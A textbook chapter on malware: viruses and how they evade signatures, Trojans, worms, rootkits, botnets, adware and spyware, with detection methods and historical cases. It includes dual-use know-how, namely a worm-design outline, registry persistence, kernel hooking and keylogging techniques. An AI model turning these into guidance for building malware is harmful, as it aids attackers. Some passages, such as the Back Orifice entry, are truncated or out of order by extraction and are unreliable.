A computer virus unleashed into the wild may get past the generic defenses
of several systems and spread rapidly. This spread inevitably attracts the
attention of systems managers, who in turn provide sample infected files to
antivirus software companies. Experts then study the infected files looking
for code fragments that are unique to this particular computer virus. Once
they have located such a set of characteristic instructions, they can construct
a character string that uniquely identifies this virus.

This character string is known as a signature for the virus; it amounts to
a kind of digital fingerprint. Then, much like our immune system attacking
a viral infection, a virus detection program is then loaded up with the
signatures of all known viruses. Virus detection software packages have
to be frequently updated, so that they always are using the most up-to-date
database of virus signatures. Detecting the presence of a virus signature
in a file is an instance of a pattern-matching problem, which consists of
finding a search pattern in a text. Several efficient pattern matching algo-
rithms have been devised, which are able to search for multiple patterns
concurrently in a single scan of the file.

Virus Detection and Quarantine

Checking files for viruses can be done either by periodic scans of the entire
file system or, more effectively, in real time by examining each newly cre-
ated or modified file and each email attachment received. Real-time virus
checking relies on intercepting system calls associated with file operations
so that a file is scanned before it is written to disk. Any file that contains a
part that matches a virus signature will be set aside into protected storage,
known as a quarantine. The programs put into quarantine can then be
examined more closely to determine what should be done next. For ex-
ample, a quarantined program might be deleted, replaced with its original
(uninfected) version, or, in some cases, it might be directly modified to
remove the virus code fragments (in a process not unlike surgery).
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2.3 Encrypted Viruses

Because antivirus software systems target virus signatures, computer virus
writers often try to hide their code. As illustrated in Figure 4, a virus may
subdivide itself into multiple pieces and inject them into different locations
in a program file. This approach can have some success, because it spreads
a virus’s signature all over the file, but reassembling the pieces of a virus
will immediately reveal its code (and, hence, its signature). One additional
technique used by virus writers to make the presence of their virus in a file
more stealthy is to encrypt the main body of their program. (See Figure 5.)

Virus Code Encrypt 

Key 

Encrypted 

Virus Code 

Decryption 

Code 

Key 

Decryption 

Code 

Figure 5: How an encrypted virus is structured.

By encrypting the main part of its code, a virus hides many of its distin-
guishing features, including its replication code and, more importantly, its
payload, such as searching for and deleting important files. As illustrated
in Figure 5, this modification results in the virus code taking on a different
structure: the decryption code, the key, and the encrypted virus code.
Alternatively, a short encryption key is used (e.g., a 16-bit key) and the
decryption code is replaced by code for a brute-force decryption attack. The
goal of encryption is to make it harder for an antivirus program to identify
the virus. However, note that code for decrypting the main virus body
must itself remain unencrypted. Interestingly, this requirement implies that
an encrypted virus has a telltale structure, which itself is a kind of virus
signature.

Even though this structure doesn’t tell a security expert exactly what
computations the virus performs, it does suggest to look for pieces of code
that perform decryption as a way of locating potential computer viruses. In
this way, the virus arms race continues, with the attack of signature-based
detection being counterattacked with encrypted viruses, which in turn are
themselves counterattacked with virus detection software that looks for
encryption code.
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2.4 Polymorphic and Metamorphic Viruses

Another technique used by viruses to fight back against signature-based
detection is mutating as they replicate, thereby creating many different
varieties of the same virus. Such viruses are known as polymorphic or
metamorphic viruses. Although these terms are sometimes used inter-
changeably, a polymorphic virus achieves its ability of taking on many
forms by using encryption, with each copy of the virus being encrypted
using a different key. A metamorphic virus, on the other hand, uses
noncryptographic obfuscation techniques, such as instruction reordering
and the inclusion of useless instructions. Polymorphic and metamorphic
viruses are difficult to detect, unfortunately, since they often have few fixed
characteristic patterns of bits in their code that can be used to identify them.

Detecting Polymorphic Viruses

One way to detect a polymorphic virus is to focus on the fact that it must
use a different encryption key each time the virus encrypts and replicates
itself. This choice implies that the body of the computer virus must also
include generic code for an encryption algorithm—so that it can encrypt
copies of itself with new keys. A polymorphic virus might still have a
signature related to its ability to encrypt itself. The encryption code may
itself initially be encrypted, so a virus detection algorithm would, in this
case, have to identify this decryption code first.

Detecting Metamorphic Viruses

Finding a single string that serves as the signature for a metamorphic virus
may be impossible. Instead, we can use more complex signature schemes.
A conjunction signature consists of a set of strings that must appear, in
any order, in the infected file. A sequence signature consists of an ordered
list of strings that must appear in the given order in the infected file. A
probabilistic signature consists of a threshold value and a set of string-score
pairs. A file is considered infected if the sum of the scores of the strings
present in the file exceeds the threshold.

Metamorphic viruses also have an alternative detection strategy. If they
have large amounts of pointless code, techniques similar to superfluous
code detection methods used in optimizing compilers may be employed. In
addition, a metamorphic virus must include code that can perform useless
code injection, reorderings of independent instructions, and replacements
of instructions with alternative equivalent instructions, all of which might
be detected via virus signatures.
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3 Malware Attacks

When malware was first discovered as a real-world risk to computer secu-
rity, malicious software was distributed primarily via infected floppy disks.
USB drives, CD-ROMs, and DVD-ROMs had not been invented yet, and
the Internet was restricted to researchers in universities and industrial labs.
Friends and coworkers would share files and collaborate using floppy disks
and would inadvertently transmit computer viruses to each other. The
explosive growth of the Internet gave rise to a whole new crop of malware,
however, which didn’t need to inject itself in files and didn’t need to be
transmitted via media sharing in order to spread.

3.1 Trojan Horses

Virgil’s Aeneid tells the legend of the Trojan horse—a large wooden horse
given to the city of Troy as a peace offering. Unknown to the Trojans, the
horse was full of dozens of Greek warriors, who snuck out of the horse
in the dead of night after it had been brought inside the city, and opened
the city gates so that their comrades could immediately attack. Given
the powerful imagery that this story inspires, this legend serves as an apt
metaphor for a type of malicious software. A Trojan horse (or Trojan) is a
malware program that appears to perform some useful task, but which also
does something with negative consequences (e.g., launches a keylogger).
(See Figure 6.) Trojan horses can be installed as part of the payload of
other malware but are often installed by a user or administrator, either
deliberately or accidentally.

Vi ibl ti I i ibl tiVisible action: 
Something useful

Invisible action: 
Something malicious

Figure 6: A Trojan horse.
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Examples of Trojan Horses

A classic example of a Trojan horse is a utility program that performs a
useful task better than an existing standard program, such as displaying
folders and files of a file system in a beautiful way, while also performing a
secret malicious task. By tricking an unsuspecting user into using the Trojan
horse, the attacker is able to run his program with all the access rights of
the user. If the user can read a proprietary document filled with company
secrets, then the Trojan horse can too, and it can even secretly send what it
finds to the attacker if the user is connected to the Internet. If the user can
send signed emails, then the Trojan horse can too, all in the user’s name.
And if the user can automatically log in to an online banking system using
a stored password, then the Trojan horse can too. The main risk of a Trojan
horse is that it allows an attacker to perform a task as if he were another
user, possibly even a system administrator.

A real-world example of a Trojan horse was used on one of of the
authors while he was in college. A previously trusted friend, whom we will
call “Tony,” gave the author and several of his friends a program designed
to indicate when and where members of this circle of friends were logged
in on the campus computer network. In addition to this useful feature,
this particular program also sent the friends’ passwords to Tony’s email
account. This particular Trojan horse wasn’t discovered until someone
noticed a friend logged in at two places at the same time and, when they
went to investigate, they found Tony at one of the two locations. Tony was
ultimately caught by his own Trojan horse.

Other real-world Trojan horse examples include the following:
• The AIDS Trojan. This was a Trojan horse program that claimed

to provide important information about the AIDS disease (acquired
immune deficiency syndrome). It was first distributed by mailing
floppy disks in 1989. Running the program instead installed a Trojan
horse, which would remain quiet until several restarts had occurred,
at which time it would encrypt the user’s hard drive. Then the Trojan
would offer to give the user the password to decrypt the hard drive,
but only after she paid a fee. Thus, the AIDS Trojan horse was a type
of automated ransom.

• False upgrade to Internet Explorer. This Trojan horse was sent via
email as an executable file, which purported to be an upgrade to
Microsoft’s Internet Explorer. After installation, the program would
make several modifications to the user’s system. Because of this
attack and others like it, most users have learned to avoid opening
email attachments that are executable files, no matter what wonderful
claims are made about the enclosed program.
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• False antivirus software. There have been several instances of this
Trojan horse, which advertises itself as antivirus software. When
installed, such Trojan horses typically modify the operating system to
block real antimalware programs from executing, and then proceed
to attempt to steal the user’s passwords.

• Back Orifice. First distributed in 1998, this program provided access
to a remote computer over an encrypted network connection. Its fea-
tures included executing commands, transferring files, and logging
keystrokes. It was implemented as a service for
Windows 95 or Windows 98. Thus, once installed,
automatically started whenever the machine was
had a useful functionality as a remote login and
Back Orifice was primarily used as a backdoor to
The installation program was typically distributed
executable attachment with an enticing name, such
When a user opened this attachment, the installation
silently. Also, Back Orifice did not show up in Task
most victims were unaware of the presence of this program.

• Mocmex. In February 2008, it was discovered that several Chinese-
made digital photo frames (actual picture frames that render dig-
ital images) contained a Trojan horse known as Mocmex. When
an infected frame is plugged into a Windows machine, malware is
copied from the frame to the computer and begins collecting and
transmitting passwords. Mocmex is interesting because it is one of the
first widely distributed viruses that takes advantage of an alternative
media, in this case digital photo frames.

3.2 Computer Worms

A computer worm is a malware program that spreads copies of itself with-
out the need to inject itself in other programs, and usually without human
interaction. Thus, computer worms are technically not computer viruses
(since they don’t infect other programs), but some people nevertheless
confuse the terms, since both spread by self-replication. In most cases, a
computer worm will carry a malicious payload, such as deleting files or
installing a backdoor.
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Worm Propagation

Worms typically spread by exploiting vulnerabilities (e.g., buffer overflow)
in applications run by Internet-connected computer systems that have a
security hole. A worm then propagates by having each infected computer
attempt to infect other target machines by connecting to them over the
Internet. If a target machine is also vulnerable to this attack, then it will
be infected and will try to infect some other machines in turn. Even if
a machine is not vulnerable to a particular worm, it may have to endure
repeated attack attempts from infected machines. Also, machines that have
already been infected may be targeted for reinfection. (See Figure 7.)

initial infection

Figure 7: How a computer worm propagates through a computer network.
Solid lines indicate successful infection attempts, dotted lines indicate rein-
fection attempts, and gray lines indicate unsuccessful attacks.

Once a system is infected, a worm must take steps to ensure that it per-
sists on the victim machine and survives rebooting. On Windows machines,
this is commonly achieved by modifying the Windows Registry, a database
used by the operating system that includes entries that tell the operating
system to run certain programs and services or load device drivers on
startup. One of the most common registry entries for this purpose is called

HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Associating with this entry the path to the executable file of the worm
will result in Windows executing the worm on startup. Thus, malware
detection software always checks this entry (and other registry entries
specifying programs to run at startup) for suspicious executable names.
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The spread of a worm can be modeled using the classic epidemic theory.
The model defines the following parameters:
• N: total number of vulnerable hosts
• I(t): number of infected hosts at time t
• S(t): number of susceptible hosts at time t, where we say that a host

is susceptible if it is vulnerable but not infected yet
• β: infection rate, which is a constant associated with the speed of

propagation of the worm
Starting from a single infected host, the change of I(t) and S(t) over time
can be expressed by the following formulas:

I(0) = 1 (1)
S(0) = N − 1 (2)

I(t + 1) = I(t) + β · I(t) · S(t) (3)
S(t + 1) = N − I(t + 1) (4)

Formula 3 states that the number of new infections, given by I (t + 1)−
I(t), is proportional to the current number of infected hosts, I(t), and to the
number of susceptible hosts, S(t). As shown in Figure 8, the propagation
of the worm has three phases: slow start, fast spread, and slow finish.
This theoretical model has been experimentally confirmed to be a good
approximation of the actual propagation of worms in practice.
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Figure 8: The epidemic model of the spread of a worm. The chart shows
the number of infected hosts I(t) as a function of time for a total population
of N = 10,000 hosts and infection rate β = 0.000025, starting from a single
host.
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The Morris Worm

One of the first computer worms was launched in 1988 by Robert Morris,
who was a Cornell University graduate student at the time. This worm
didn’t carry a malicious payload. Instead, it simply copied itself and
spread across the Internet. The main problem with this worm was that it
was designed to copy itself onto another vulnerable computer even if that
computer was already infected. Interestingly, it would check if the target
computer was already infected, but in one out of seven checks it would not
trust a “yes” answer and would infect the target computer anyway.

Unfortunately, a probability of 1/7 for reinfection proved to be too
high a reinfection rate for Internet-scale propagation, and the Morris worm
quickly filled up the set of running processes on the computers it infected.
These infected computers therefore suffered what amounted to a denial-
of-service attack, since they ended up running many copies of the Morris
worm and blocking out other jobs. It is estimated that ten percent of the
computers connected to the Internet at that time became infected with the
Morris worm, and the damage in lost productivity and the costs associated
with cleaning up the Morris worm were estimated to be in the tens of
millions of dollars. Robert Morris became the first person convicted under
the 1986 Computer Fraud and Abuse Act. He is currently a faculty member
at the Massachusetts Institute of Technology.

Some Other Real-World Examples of Computer Worms

Some other real-world examples of computer worms include the following:

• ILOVEYOU. This is an email worm (a worm sent as an email attach-
ment) first observed in 2000. This particular email worm is a Visual
Basic program disguised as a love letter named LOVE-LETTER-FOR-
YOU.TXT.vbs. The file extension, “vbs,” indicates this is actually a
Visual Basic program, which, when executed on a computer running
Microsoft Windows, sends itself to everyone in the user’s address
book and then replaces documents and pictures on the user’s hard
drive with copies of itself.
• Code Red. This is a computer worm observed on the Internet in 2001,

which does not require human intervention to spread. It took ad-
vantage of a buffer-overflow vulnerability on computers running Mi-
crosoft’s IIS web server (which was subsequently fixed) to spread. Its
payload was designed to launch denial-of-service attacks on selected
web sites from infected computers. Code Red was a fast spreading
worm. On July 19, 2001 more than 350,000 vulnerable servers were
infected in a few hours.
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• Blaster. This is a computer worm that exploited a previous buffer-
overflow vulnerability in computers running Microsoft Windows XP
and Windows 2000 in 2003. It spread by sending copies of itself to
random computers on the Internet, hoping to find other machines
with the buffer-overflow vulnerability. Its payload was designed to
launch a denial-of-service attack against Microsoft’s update web site.
• Mydoom. This is an email worm that was observed in 2004 and seems

to have been designed to set up a network of computers from which
to send spam emails and launch denial-of-service attacks. It would
spread by having users click on an attachment in an email message.
• Sasser. This is a network worm discovered in 2004 that spread

by exploiting a buffer-overflow vulnerability in computers running
Microsoft Windows XP and Windows 2000. When first launched, it
caused Delta Air Lines to cancel several flights, because its critical
computers had become overwhelmed by the worm.
• Conficker. This is a computer worm that was first observed in 2008. It

targets computers running the Microsoft Windows operating system
and is designed to allow the infected computer to be controlled by a
third party, e.g., to launch denial-of-service attacks, install spyware,
or send out spam emails. It includes a number of sophisticated mal-
ware techniques, including an ability to disable Safe Mode, disable
AutoUpdate, and kill antimalware programs. It even has a mecha-
nism to update itself from newer copies found on the Internet.

Designing a Worm

Developing a worm is a complex project consisting of the following tasks:
• Identify a vulnerability still unpatched in a popular application or

operating system. Buffer overflow vulnerabilities are
common ones exploited by worms.
• Write code for:

◦ generating the target list of machines to attack, e.g., machines in
the same local area network or machines at randomly generated
Internet addresses
◦ exploiting the vulnerability, e.g., with a stack-smashing attack
◦ querying/reporting if a host is already infected
◦ installing and executing the payload
◦ making the worm embedded into the operating system to sur-

vive reboots, e.g., installing it as a daemon (Linux) or service
(Windows)

• Install and launch the worm on a set of initial victims.
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Detecting Worms

Note that the propagation process is similar to the traversal of a graph.
Here, the nodes are vulnerable hosts and the edges are infection attempts.
Referring the terminology used in the classic depth-first-search (DFS) al-
gorithm, a successful infection corresponds to a discovery edge while
detecting that a host is already infected corresponds to a back edge. How-
ever, while a DFS traversal is performed sequentially in a single thread of
execution, the propagation of a worm is a distributed computation that is
executed simultaneously by many different infected hosts.

To simplify the attacker’s task, several toolkits for developing worms
are marketed in the underground economy (see also Section 5.4).

The detection of worms can be performed with signature-based file-
scanning techniques similar to those described for viruses. In addition,
network-level scanning and filtering, which consists of analyzing the con-
tent of network packets before they are delivered to a machine, allows to
detect and block worms in real time.

3.3 Rootkits

A rootkit is an especially stealthy type of malware. Rootkits typically alter
system utilities or the operating system itself to prevent detection. For
example, a rootkit that infects the Windows Process Monitor utility, which
lists currently running processes, could hide by removing itself from the
process list. Likewise, a rootkit might hide files on disk by infecting utilities
that allow the user to browse files, such as Windows Explorer. Rootkits are
often used to hide the malicious actions of other types of malware, such as
Trojan horses and viruses.

Concealment

Rootkits employ several techniques to achieve stealth. Software can either
run in user-mode, which includes ordinary program execution, or kernel-
mode, which is used for low-level, privileged operating system routines.
Accordingly, rootkits may operate in either of these two modes.

Some user-mode rootkits work by altering system utilities or libraries
on disk. While this approach may be the simplest, it is easily detected,
because checking the integrity of files can be performed offline by using a
cryptographic hash function, as detailed below. Other user-mode rootkits
insert code into another user-mode process’s address space in order to alter
its behavior, using techniques such as DLL injection. While these tactics
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may be effective, they are easily detected by antirootkit software, which
frequently runs at the kernel level.

Kernel-mode rootkits are considered more difficult to detect, because
they work at the lowest levels of the operating system. Kernel rootkits
in Windows are typically loaded as device drivers, because the device
driver system is modular—it allows users to load arbitrary code into the
kernel. While this feature is intended to allow developers to easily install
drivers for keyboards, audio, or video devices, rootkit developers use
device drivers to subvert the security of a system. Even though few Linux
rootkits have emerged, kernel-mode Linux rootkits are typically loaded us-
ing the Loadable Kernel Module (LKM) system, which functions similarly
to Windows device drivers.

Once rootkit code is loaded into the kernel, several techniques may be
employed to achieve stealth. One of the most common methods is known
as function hooking. Because the rootkit is running with kernel privileges,
it can directly modify kernel memory to replace operating system functions
with customized versions that steal information or hide the existence of the
rootkit. For example, a rootkit might replace a kernel function that enu-
merates files in a directory with a nearly identical version that is designed
to skip over particular files that are part of the rootkit. This way, every
program that uses this function will be unable to detect the rootkit. Kernel
function hooking is powerful in that rootkit developers only have to alter
one function, as opposed to patching every system utility that lists directory
contents.

Another kernel-mode rootkit technique involves modifying the internal
data structures the kernel uses for bookkeeping purposes. For example, the
Windows kernel keeps a list of information on the device drivers that are
currently loaded into memory. A rootkit might modify this data structure
directly to remove itself from the list and potentially avoid detection. A
rootkit that performs this action may be difficult to remove without reboot-
ing the system, because its bookkeeping information would no longer be
accessible to the functions that unload device drivers.

Once a system is infected, a rootkit must take steps to ensure that it
persists on the victim machine and survives rebooting, including the modi-
fication of appropriate entries in the Windows Registry. Since antirootkit
software searches the registry for suspicious entries, to avoid detection,
some rootkits modify the kernel functions that list registry entries. This
is one example of the arms race that takes place between rootkit and
antirootkit software, which are constantly engaged in a complex game of
hide-and-seek.
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Detecting Rootkits

Rootkits are sneaky, but they are not impossible to detect. User-mode
rootkits can be detected by checking for modifications to files on disk.
On Windows, important code libraries are digitally signed, so that any
tampering would invalidate the digital signature and be detected. Another
commonly employed technique is to periodically compute a cryptographic
hash function for critical system components while the system is offline.
This hash can be recomputed while the system is online, and if the hashes
do not match, then a rootkit may be altering these files. (See Figure 9.)
In addition, kernel-mode antirootkit software can detect code injection in
system processes.

Original operating systems program

Hash 
functionfunction

Operating systems program on disk
Should match

HashHash 
function

Figure 9: How a cryptographic hash function can be used to detect a
corrupt operating systems program file on a disk drive.

Kernel-mode rootkits can be more difficult to detect. As discussed, most
kernel rootkits do not alter system files on disk, but rather perform their
operations on kernel memory. Most antirootkit applications detect kernel
rootkits by searching for evidence of techniques such as function hooking.
Such rootkit detectors may keep signatures of certain kernel functions that
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are likely to be targeted by rootkits, and inspect kernel memory to deter-
mine if any modifications have been made to these functions. However,
because kernel rootkits operate at the highest level of system privileges,
they may preemptively detect antirootkit software and prevent it from
achieving its goals. Therefore, sometimes an in-depth offline analysis of
an infected system, including inspection of the registry and boot records, is
required to defeat rootkits.

A simple and powerful detection technique for rootkits consists of
performing two scans of the file system, one using high-level system calls,
which are likely infected by the rootkit, and another using low-level disk
reading programs that access the content of the disk using primitive block-
access methods. If the two scans result in different images of the file system,
then it is likely that a rootkit is present. This method is effective for both
user-mode and kernel-mode rootkits. Of course, a sophisticated rootkit
might anticipate this test and infect both the system calls that list folders
and files and also the low-level disk access methods that read a disk one
block at a time.

Given the difficulty of guaranteeing the removal of rootkits, users are
often advised to reformat their hard drive on suspicion of infection, rather
than risking continued compromise by failing to remove all traces of rootkit
activity.

An Example Real-World Rootkit

One of the most famous rootkits was included in the copy protection
software found on some CDs distributed by Sony BMG in 2005. This
rootkit would install itself on PCs running the Microsoft Windows oper-
ating system whenever someone put one of the CDs in their optical disk
drive (e.g., to rip music off the CD). This automatic installation relied on the
default “AutoPlay” option of Windows XP, which executed the commands
listed in a designated file on the CD (autorun.inf). This rootkit would
then infect a number of important files so that the rootkit would not be
detected by system utilities. The rootkit’s primary intent was to enforce
copy protection of the music content on the infected CDs. The rootkit
included on these CDs was not intended to be malicious, but since it would
hide any process or program with a name that started with a certain string,
some malicious code writers soon exploited this fact. Fortunately, it did not
have a wide distribution, as it was included in only about 50 CDs. Soon
after it was discovered, there were well-advertised ways of removing the
copy-protection rootkit.
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3.4 Zero-Day Attacks

Signature-based methods for detecting viruses and computer worms de-
pend on the ability to find code patterns that uniquely identify malware
that is spreading “in the wild.” This process takes time, and a new com-
puter virus or worm can continue to spread as workers are trying to find
good signatures and push these signatures out to their customers. An ideal
goal for antimalware software is that it be able to detect a computer virus or
worm even before anyone knows of its existence. Unfortunately, this goal
is made difficult by unknown vulnerabilities.

A zero-day attack is an attack that exploits a vulnerability that was pre-
viously unknown, even to the software designers who created the system
containing this vulnerability. The term comes from the idea of a fictional
timer that starts the moment software designers know about a vulnerability
until the day that they publish a patch for it. It is not uncommon for
software developers to be aware of nonpublic vulnerabilities, for which
they work hard to design a fix. If a malware attack exploits a vulnerability
that the developers didn’t know about, however, such an attack is said to
occur on “day zero” of their awareness of it.

Zero-day attacks pose a unique problem for intrusion detection, since
by definition they are not recognizable by simple signature-based schemes.
There are two common primary methods for detecting zero-day attacks,
both of which are based on heuristics, that is, rules of thumb that perform
well in practice. The first heuristic is to continually scan programs for in-
structions that involve doing something that is potentially malicious, such
as deleting files or sending information over the Internet. Such potentially
malicious instructions could be tipp-offs that a program has been infected
or that a computer worm has been launched. Further inspection is needed,
however, since there is a risk of false positive responses with this approach,
because legitimate programs may also perform these types of actions.

Another heuristic for combating zero-day attacks is to run programs in
an isolated run-time environment that monitors how they interact with the
“outside world.” Potentially dangerous actions, like reading and writing to
existing files, writing to a system folder, or sending and receiving packets
on the Internet, are flagged. A user running such a detection program in the
background would be alerted each time an untrusted program performs
one of these potentially unsafe actions. Such a run-time environment,
which is a type of virtual machine, is sometimes referred to as a sandbox.
The challenge in using such a system is that it should not be constantly
annoying the user with false-positive actions being performed by legitimate
software.
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3.5 Botnets

The earliest malware was developed for research purposes, but before long
malware was being used to conduct destructive pranks and targeted attacks
against individuals and organizations. With the widespread adoption of
the Internet and the vast amounts of sensitive information stored on home
computers, information theft and spam have become lucrative criminal
ventures. When this potential for profit became well-known, malware
transitioned from the past time of bored teenagers to professionally coded
software deployed by criminal organizations.

Because criminal enterprises are interested in these illegal activities on
a mass scale, it became desirable to control vast networks of compromised
computers, using them as nodes in a spam operation or stealing informa-
tion from their owners. Such networks are known as botnets, and are
centrally controlled by an owner known as a bot herder. Botnets can be
truly massive in size—at the time of this writing, the largest botnets are
estimated to contain several million compromised machines, and it has
been conjectured that up to one quarter of all computers connected to the
Internet are part of some botnet.

How Botnets are Created and Controlled

One of the key properties of a botnet is a central command-and-control
mechanism. Once bot software is installed on a compromised computer,
via a worm, Trojan horse, or some other malware package, the infected
machine, known as a zombie, contacts a central control server to request
commands. This way, bot herders can issue commands at will that affect
potentially millions of machines, without the need to control each zombie
individually.

Early botnets hosted command-and-control stations at static IP ad-
dresses that were coded into bot software on each infected machine. This
allowed authorities to easily shut down botnets by tracking down control
servers and shutting them down. To prevent authorities from shutting
down botnets so easily, many botnets now change the address of the
command-and-control server daily, dynamically generating and registering
the domain name using the current date, for example. To avoid detection,
zombie machines often use unexpected channels to receive commands,
including services such as Internet Relay Chat (IRC), Twitter, and Instant
Messaging.
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Botnet Uses

Once a botnet has been assembled, its owner can begin exploiting it to
perform illegal activity. Some of the largest botnets harvest credit card
numbers, bank account credentials, and other personal information on a
terrifying scale.

Other botnets are used to send millions of spam e-mails. Due to the
massive total bandwidth under the control of a single person or orga-
nization, some botnets have been used to launch distributed denial-of-
service attacks against major web sites, even including smaller government
infrastructures. As computer use becomes even more pervasive globally,
botnets continue to pose a serious threat for illegal activity.

The Zeus Botnet Kit

Zeus is a toolkit for building and deploying a customized Trojan botnet.
The attacker can specify the payload to be deployed and the type of
information to be capture. Available payloads include not only classic
spyware (see Section 4.2), but also more sophisticated attacks, such as the
following:

• Grab username and password only for specific web sites specified by
the attacker.

• Add new form fields to a web page to induce the user to provide
additional information. For example, a modified page of a banking
site may prompt the user to enter the date of birth and Social Security
number for “additional protection.”

Zeus has been used extensively to steal credentials for social network
sites, banking sites, and shopping sites. In the period from July 2008 to June
2009, Symantec detected more than 150,000 hosts infected with Zeus Trojan
horses. In January 2010, NetWitness discovered a Zeus botnet consisting
of more than 74,000 zombies in 196 different countries, including many
hosts that are part of the networks of government agencies, educational
institutions, and large corporations.
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4 Privacy-Invasive Software

Another category of malware is privacy-invasive software. This class
of malicious software targets a user’s privacy or information that a user
considers sensitive or valuable.

Consent and Intent

Privacy-invasive software can be installed on a user’s computer as a result
of her visiting a certain web site or as a payload inside a computer virus,
network worm, or Trojan horse email attachment. The software invades a
user’s computer to either operate in the background performing privacy-
invasive actions against the user’s consent or to immediately gather sensi-
tive or valuable information against the user’s wishes.

The intent behind privacy-invasive software is usually commercial. The
agent who launched it could, for example, be interested in generating
revenue from pop-up advertisements. He could alternatively be interested
in stealing information about a user that he can resell to interested parties,
or he may have a direct commercial interest in the privacy-invasive action
the software is engaging in. In any case, the privacy violations performed
by such malware are rarely merely for the sake of curiosity or vandalism.

4.1 Adware

Adware is a form of privacy-invasive software that displays advertisements
on a user’s screen against their consent. Since advertisements are pervasive
on the Internet and often are embedded in software packages as a way of
reducing the initial purchase price of the software, it is important to stress
that malicious adware displays advertisements against a user’s consent.

How Adware Works

Typically, an adware program is installed on a user’s computer because he
visits an infected web page, opens an infected email attachment, installs
a shareware or freeware program that has the adware embedded in a
Trojan horse, or as the result of being victimized by a computer virus or
worm. Once it is installed and running in the background, an adware
program will periodically pop up an advertisement on the user’s screen.
(See Figure 10.)
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Adware software payload

Adware engine infects

Computer user
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a user’s computer
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Adware agent

Adware agent delivers
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Figure 10: How adware works.

Adware Actions

Adware pop-ups are often triggered by the user opening their web browser,
so that they might be fooled into thinking the pop-up is a part of their
browser’s startup page. Alternately, these advertisements might also pop
up seemingly at random. Either way, such an advertisement might be
created simply to make an impression on the user, similarly to a television
commercial or magazine advertisement, or it could have some functionality
built in, so that if the user clicks it or tries to close it, then it might display
another advertisement or redirect the user to a web page for the product
being advertised.

No matter how it is installed or how it operates, adware is an example
of privacy-invasive software, because it violates the user’s ability to control
the content being displayed on his or her computer screen. Moreover,
adware often monitors the usage patterns and web page visits of a user,
so as to better target the advertisements that are displayed on his or her
computer screen. Such instances of adware are also examples of the type of
privacy-invasive software we discuss next.
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4.2 Spyware

Spyware is privacy-invasive software that is installed on a user’s computer
without his consent and which gathers information about a user, his com-
puter, or his computer usage without his consent. A spyware infection will
typically involve the use of one or more programs that are always running
in the background, collecting information. Periodically, these programs
will contact a data collection agent and upload information it has gathered
from the user. (See Figure 11.) In order to continue running even after a
computer has been rebooted, such an infection will often involve creating
modifications in the operating system so that the spyware software is
always run as a part of the computer’s startup sequence.

Spyware software payload

1. Spyware engine infects

Computer user

1. Spyware engine infects 
a user’s computer.

2. Spyware process collects
keystrokes passwordskeystrokes, passwords, 
and screen captures.

3. Spyware process3. Spyware process
periodically sends
collected data to
spyware data collection

tagent.

Spyware data collection agent

Figure 11: How spyware works as a background process.

A user typically doesn’t know that his computer is infected with spy-
ware. His only indication may be that his computer might run a little
more slowly, but such a performance degradation usually only occurs if
a computer has multiple infections. Naturally, a spyware infection will do
whatever it can to hide its existence from a computer user, possibly using
rootkit hiding tricks (recall Section 3.3). A spyware infection might even
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go to the length of removing competing adware and spyware, so as to make
it harder for a user to notice that unwanted software is running.

Spyware can be categorized by the actions it performs. In particular, we
discuss some of the different actions that might be performed by spyware
below.

Keylogging

Keystroke logging, or keylogging, is the act of monitoring the actions of a
computer ’s keyboard by recording each key that is pressed.
keyloggers aim to capture sensitive user credentials, such as
login information, and other secret information. Software keyloggers are
often installed as drivers, which are part of the operating system and act as
an intermediary between hardware and software. Such a keylogger might
work by intercepting each keystroke returned by the hardware and
recording it to a secret location, before passing it on to the operating
system as usual. Writing such a keyboard driver may be difficult, so one
potentially simpler approach might take advantage of existing methods of
interacting with the existing keyboard driver. For example, many operating
systems allow applications to register as keyboard listeners, which are
notified each time a key is pressed. Other keyloggers repeatedly poll the
state of the keyboard using existing operating system functions. While this
type of keylogger may be easiest to write, it may be easy to detect, because
it may require a high amount of CPU usage in order to sustain regular
polling of the keyboard state. One final keylogging technique involves
using rootkit techniques to hook operating system functions that handle
keystrokes and secretly log data.

Screen Capturing

Taking a digital snapshot of a user’s screen can reveal a great deal of
personal information, and most operating systems provide simple ways
of performing such screen captures. Thus, a spyware infection that uses
periodic screen captures can greatly compromise the privacy of a user.
The challenge to a spyware author wishing to take advantage of screen
capturing is that, unlike keystrokes, saving a digital image of a computer
screen at a fast enough frequency to grab useful personal information will
require a lot of computer time and memory. Thus, spyware that wishes to
remain anonymous must perform screen captures at a relatively low rate,
or risk detection. Nevertheless, the amount of information gained can be
significant, so even with its detection risks, performing screen captures is
an alluring option for spyware authors.
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Tracking Cookies

Unfortunately, cookies can also be used for tracking purposes. A group
of web sites could conspire to install cookies of a certain name and type,
so that they can collectively track when a user visits any of their web sites.
Likewise, an advertising company with web banners on many web sites
could use tracking cookies to determine which of its customer web sites are
visited by a particular user. Thus, cookies used in this way can be viewed as
a type of spyware, even though there is no software installed on the user’s
computer.

Data Harvesting

Another type of spyware avoids the troubles and risks associated with
monitoring a user’s actions and instead searches through the files on his
computer looking for personal or proprietary data. Such programs are
data harvesters. Examples include programs that search a user’s contact
list to collect email addresses that can be used for spamming purposes,
possibly even with falsified “From” fields that make it look like the email
is coming from another victim. Other examples include programs that look
for documents, spreadsheets, PowerPoint presentations, etc., that might
contain data of interest to the spyware’s master.

As we have seen, spyware authors can gather information using sev-
eral different techniques. In every case, in order for spyware authors
to gain access to information collected on infected machines, there must
be a mechanism that allows spyware to communicate with its “master.”
Because this communication may be detected by antispyware measures,
stealth must be employed by spyware to perform the transmission of data
as surreptitiously as possible.
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Web browser cookies provide a way for web sites to maintain state between
multiple visits of the same user, as a way of “remembering” that user and
providing a personalized browsing experience. When a user visits a certain
web site for the first time, this site can request that a small file, called a ,
be placed on her computer to store useful information about her for this site.
This feature is beneficial, for instance, if it allows the user to avoid retyping
her login and password each time she visits an online movie rental web site
or if it allows the site to remember her preferences with a search engine or
news-feed web site.
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Gray Zones

The intent behind a spyware installation is not always malicious, however.
For instance, parents might have legitimate reasons for tracking the online
behavior of their children and employers might likewise have good reasons
for monitoring the ways in which their employees are using company
computers at work. These spyware installations are in an ethical gray zone,
however, because a parent or employer who owns a computer might know-
ingly install monitoring software that uses some of the above techniques
and is otherwise unknown or disapproved of by the users of that computer.
Moreover, it is also possible that the same privacy-invasive software that
was originally installed for an ethically justifiable reason could also be used
unethically in the future.

Consider, for instance, the privacy concerns surrounding the cameras
commonly installed on personal computers and laptops these days. Sev-
eral computer security companies are marketing software that creates a
backdoor on such a computer that allows a third party to capture images
from that computer’s camera using a special password. The intended use
